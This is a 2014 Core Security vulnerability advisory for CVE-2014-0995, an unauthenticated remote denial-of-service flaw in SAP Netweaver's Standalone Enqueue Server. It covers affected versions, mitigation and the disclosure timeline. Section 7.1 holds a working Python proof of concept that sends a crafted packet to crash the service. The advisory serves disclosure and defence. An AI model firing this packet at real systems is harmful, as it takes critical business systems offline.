SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability

Advisory ID Internal
CORE-2014-0007

1. Advisory Information

Title: SAP Netweaver Enqueue Server Trace Pattern Denial of Service Vulnerability
Advisory ID: CORE-2014-0007
Advisory URL: https://www.coresecurity.com/core-labs/advisories/sap-netweaver-enqueue-server-trace-pattern-denial-service-vulnerability
Date published: 2014-10-15
Date of last update: 2014-10-15
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Uncontrolled Recursion [CWE-674]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0995

3. Vulnerability Description

SAP Netweaver [1] is a technology platform for building and integrating SAP business applications. A vulnerability has been found in SAP Netweaver that could allow an unauthenticated, remote attacker to create denial of service conditions. The vulnerability is triggered by sending a specially crafted SAP Enqueue Server packet to remote TCP port 32NN (NN being the SAP system number) of a host running the "Standalone Enqueue Server" service, part of SAP Netweaver Application Server ABAP/Java. The "Standalone Enqueue Server" is a critical component of a SAP Netweaver installation in terms of availability, rendering the whole SAP system unresponsive.

4. Vulnerable Packages

  • SAP Netweaver 7.01 (enserver.exe version v7010.32.15.63503).
  • SAP Netweaver 7.20 (enserver.exe version v7200.70.18.23869).
  • Other versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

Martin Gallo proposed the following actions to mitigate the impact of the vulnerabilities: Restrict access to the Standalone Enqueue service by configuring Access Control Lists [4] and to the Standalone Enqueue Service TCP port 32XX (XX is the instance number).

SAP published a security note [3] with the fix.

6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Advisories Team.

7. Technical Description / Proof of Concept Code

When the trace level of the service is configured to stop logging when a pattern is found [2], the service does not properly control the amount of recursion resulting in a stack overflow exception. The vulnerability can be triggered remotely by setting the trace level with a wildcard Trace Pattern. This vulnerability could allow a remote, unauthenticated attacker to conduct a denial of service attack against the vulnerable systems, rendering the Enqueue Server unavailable. The following python code can be used to trigger the vulnerability:

7.1. Proof of Concept

import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3200) (options, args) = parser.parse_args() def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) # Connect print "[*] Connecting to", options.hostname, "port", options.port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((options.hostname, options.port)) print "[*] Sending crash packet" crash = '\xab\xcd\xe1\x23' # Magic bytes crash+= '\x00\x00\x00\x00' # Id crash+= '\x00\x00\x00\x5b\x00\x00\x00\x5b' # Packet/frag length crash+= '\x03\x00\x00\x00' # Destination/Opcode/MoreFrags/Type crash+= 'ENC\x00' # Admin Eye-catcher crash+= '\x01\x00\x00\x00' # Version crash+= '#EAA' # Admin Eye-catcher crash+= '\x01\x00\x00\x00\x00' # Len crash+= '\x06\x00\x00\x00\x00\x00' # Opcode/Flags/RC crash+= '#EAE' # Admin Eye-catcher crash+= '\x01\x04\x00\x00' # Version/Action/Limit/Tread crash+= '\x00\x00\x00\x00' crash+= '\x00\x00\x00\x03\x00\x00\x00\x03' # Trace Level crash+= '\x01' # Logging crash+= '\x01\x40\x00\x00' # Max file size crash+= '\x00\x00\x00\x01\x00\x00\x00\x01' # No. patterns crash+= '\x00\x00\x00\x25#EAH' # Trace Eye-catcher crash+= '\x01*\x00' # Trace Pattern crash+= '#EAD' # Trace Eye-catcher send_packet(connection, crash) print "[*] Crash sent !"

8. Report Timeline

  • 2014-06-02: Initial notification sent to SAP, including technical description to reproduce the vulnerability. Publication date set to Jun 30, 2014.
  • 2014-06-03: Vendor notifies that the tracking number 1153917-2014 was created for this issue.
  • 2014-06-26: Core Security requests SAP to inform the status of the advisory.
  • 2014-06-30: The vendor informs they were not able to reproduce the issue and they request additional details and a proof of concept.
  • 2014-06-30: Core Security sends SAP a full description of the vulnerability including a python script to trigger it.
  • 2014-07-11: Core Security asks if the vendor was able to trigger the vulnerability. Additinally we requested to set a publication date for the advisory based on the release of a fix.
  • 2014-07-14: The vendor informs they were able to reproduce the issue but they will not be able to provide a timeline for the fix at the time. They inform they will work with high priority on it and will inform us of the planned fix release date.
  • 2014-08-12: Core Security asks if the vendor was able to develop a fix and if they have a possible timeline for its availability.
  • 2014-08-13: The vendor informs that the fix is undergoing quality checks. They also inform that they can't provide an exact date of publication yet. They also request a 3 months grace period once the patch is available.
  • 2014-08-13: Core Security informs SAP that after we get notice that the fix is available to the public we will publish the advisory accordingly and will not wait for the 3 months of grace as requested because that's not our proceeding policy.
  • 2014-08-18: The vendor informs that the fix is going to be released with the October patch day, on Tuesday the 14th, of 2014.
  • 2014-10-14: The vendor publishes the fix under the security note 2042845.
  • 2014-10-15: Core Security releases the advisory.

9. References

[1] http://www.sap.com/platform/netweaver/index.epx.
[2] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/e929ca3d7001cee10000000a421937/content.htm?frameset=/en/47/ea3ef600e83b8be10000000a421937/frameset.htm
[3] SAP security note 2042845

[4] https://websmp230.sap-ag.de/sap/support/notes/1495075.

10. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

12. Disclaimer

The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.